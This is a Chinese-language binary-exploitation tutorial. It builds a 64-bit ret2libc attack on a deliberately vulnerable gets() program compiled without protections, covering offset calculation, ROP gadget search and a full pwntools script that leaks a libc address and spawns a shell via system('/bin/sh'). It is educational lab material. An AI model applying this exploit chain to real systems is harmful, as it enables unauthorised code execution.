PWN基础17:Ret2Libc 64位实例

基础知识

1、复现一下Ret2Libc 32位下的内存布局

针对这张图,我们在上一节做了细致的分析

PWN基础17:Ret2Libc 64位实例_第1张图片

32位的调用方式

  • 32位系统中调用函数的方式:栈传递参数
  • 构造函数调用将参数和返回地址放在栈上
  • 构造执行write(1,buf2,20)后,再返回main函数

64位的调用方式

  • 64位系统中使用寄存器传递参数:rdi、rsi、rdx、rcx、r8、r9(1-6个参数)
  • http://abcdxyzk.github.io/blog/2012/11/23/assembly-args/
  • 要构造write(1,buf2,20),需要控制3个参数:rdi、rsi、rdx,第3个参数代表输出的size,如果没有rdx的gadget可以暂时不管,输出多少无所谓,在下面我们构造payload的时候,我们不写第3个参数

PWN基础17:Ret2Libc 64位实例_第2张图片

Ret2Libc

这节课,我们研究的源码

#include 

char buf2[10]="ret2libc is good";

void vul()
{
    char buf[10];
    gets(buf);
}

void main()
{
    write(1,"hello",5);
    vul();
}

使用如下指令编译

gcc -no-pie -fno-stack-protector  -o ret2libc_64 ret2libc_64.c

查看一下保护情况

PWN基础17:Ret2Libc 64位实例_第3张图片

通过gdb调试,先来计算一下溢出偏移

PWN基础17:Ret2Libc 64位实例_第4张图片

随后将生成的串拷入

这里计算偏移取的位置与32位下有些区别

只取后4个字节,OK,偏移是18

因为是64位的程序,使用寄存器传递参数,我们通过pop指令来向寄存器中传值

下面来搜索gadget

ROPgadget --binary ./ret2libc_64 --only "pop|ret"

PWN基础17:Ret2Libc 64位实例_第5张图片

通过ldd命令查询程序所需的动态链接库(so)

 

编写Exp如下

from pwn import *
context(arch="amd64",os="linux",log_level="debug")

p=process("./ret2libc_64")
e=ELF("./ret2libc_64")

write_plt_addr=e.plt["write"]
gets_got_addr=e.got["gets"]
vul_addr=e.symbols["vul"]

pop_rdi_addr=0x4005e3
pop_rsi_addr=0x4005e1

offset=18
pause()

payload1=offset*"A"+p64(pop_rdi_addr)+p64(1)+p64(pop_rsi_addr)+p64(gets_got_addr)+p64(1)+p64(write_plt_addr)+p64(vul_addr)
p.sendlineafter("hello",payload1)

#gets_addr=u64(p.recv(8))
gets_addr=u64(p.recv()[:8])
print hex(gets_addr)

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_base=gets_addr-libc.symbols["gets"]
system_addr=libc_base+libc.symbols["system"]
bin_sh_addr=libc_base+libc.search("/bin/sh").next()

payload2=offset*"B"+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)

p.sendline(payload2)
p.interactive()

测试Exp,OK,我们成功获得Shell

PWN基础17:Ret2Libc 64位实例_第6张图片

好了,这节就到这里了

加油


参考

Roger师傅的课程

你可能感兴趣的:(PWN)